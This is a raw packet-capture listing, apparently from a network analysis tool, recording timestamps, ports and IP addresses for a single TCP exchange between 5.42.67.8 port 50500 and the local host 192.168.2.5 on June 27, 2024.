Jun 27, 2024 06:44:17.412570953 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.412583113 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.412595034 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.412611961 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.412662029 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.412669897 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.412683010 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.412694931 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.412705898 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.412722111 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.412746906 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.413270950 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.413321972 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.417434931 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.417485952 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.417500973 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.417514086 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.417531013 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.417542934 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.417563915 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.417567015 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.417582989 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.417602062 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.417697906 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.417721033 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.417776108 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.418152094 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.418210983 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.422369957 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.422430992 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.422503948 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.422585011 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.422621012 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.422657013 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.422667027 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.422703981 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.422708988 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.422756910 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.422780037 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.422791958 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.422804117 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.422823906 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.422833920 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.422836065 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.422857046 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.422861099 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.422868967 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.422898054 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.422924042 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.422930002 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.422944069 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.422979116 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.422990084 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.423024893 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.423037052 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.423048973 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.423059940 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.423070908 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.423088074 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.423091888 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.423103094 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.423113108 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.423125982 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.423129082 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.423141956 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.423176050 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.427181959 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427196026 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427231073 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.427251101 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.427298069 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427325010 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427335978 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427337885 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.427361965 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.427380085 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.427423000 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427460909 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.427481890 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427495003 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427525043 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.427530050 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427544117 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427548885 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.427555084 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427567005 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427588940 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427592993 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.427601099 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427613974 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427630901 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.427634001 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427647114 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427651882 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.427664042 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.427679062 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.427700996 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.427896976 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427908897 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427942991 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.427952051 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427956104 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.427963972 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427984953 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427995920 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.427995920 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428008080 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428009033 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428020000 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428028107 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428041935 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428054094 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428055048 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428066015 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428072929 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428077936 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428100109 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428105116 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428112984 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428122997 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428127050 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428143978 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428157091 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428164005 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428170919 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428184986 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428184986 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428195000 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428208113 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428220034 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428225994 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428231955 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428236961 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428248882 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428262949 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428276062 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428283930 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428288937 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428301096 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428322077 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428323030 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428334951 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428347111 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428359985 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428364992 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428371906 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428380966 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428390026 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428395033 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428407907 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428421021 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428422928 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428432941 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428436995 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428446054 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428457975 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428477049 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428478956 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428498983 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428499937 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428510904 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428514004 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428524017 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428527117 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428544998 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428560019 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428602934 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428615093 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428627014 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428638935 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428644896 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428651094 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428662062 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428673029 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428683996 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428693056 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428704977 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428708076 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428716898 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428729057 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428740978 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.428741932 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428756952 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428772926 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428780079 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.428787947 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.431966066 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432015896 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432161093 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432182074 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432202101 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432223082 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432255983 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432267904 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432300091 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432310104 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432322025 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432331085 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432354927 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432379007 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432383060 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432414055 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432420969 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432461023 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432462931 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432473898 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432503939 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432533026 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432535887 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432547092 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432569027 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432575941 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432589054 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432600975 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432621956 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432631969 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432718992 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432743073 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432770967 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432789087 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432791948 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432816982 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432836056 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432861090 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432866096 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432883024 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432910919 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432931900 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.432966948 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.432979107 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433012962 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433017969 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433026075 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433032036 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433046103 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433073997 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433092117 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433109999 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433147907 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433152914 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433192015 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433238983 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433252096 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433264971 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433276892 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433283091 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433300972 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433311939 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433351040 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433363914 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433404922 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433413982 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433420897 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433428049 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433455944 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433475018 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433484077 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433522940 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433552980 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433576107 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433588028 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433597088 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433602095 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433614016 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433624029 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433636904 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433643103 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433655977 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433686018 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433691978 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433732033 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433775902 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433788061 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433799028 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433810949 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433815002 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433826923 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433835030 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433846951 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433866978 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433871031 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433880091 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433892965 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433908939 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433909893 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433929920 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433953047 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.433960915 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433974028 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.433984995 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434005022 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434016943 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434030056 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434035063 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434041977 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434053898 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434077024 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434082985 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434098959 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434108973 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434112072 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434123993 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434150934 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434173107 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434191942 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434205055 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434237003 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434254885 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434268951 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434269905 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434284925 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434299946 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434307098 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434317112 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434340954 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434351921 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434357882 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434390068 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434391975 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434405088 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434416056 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434432030 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434446096 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434448957 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:17.434458971 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:17.434470892 CEST	50500	49706	5.42.67.8	192.168.2.5
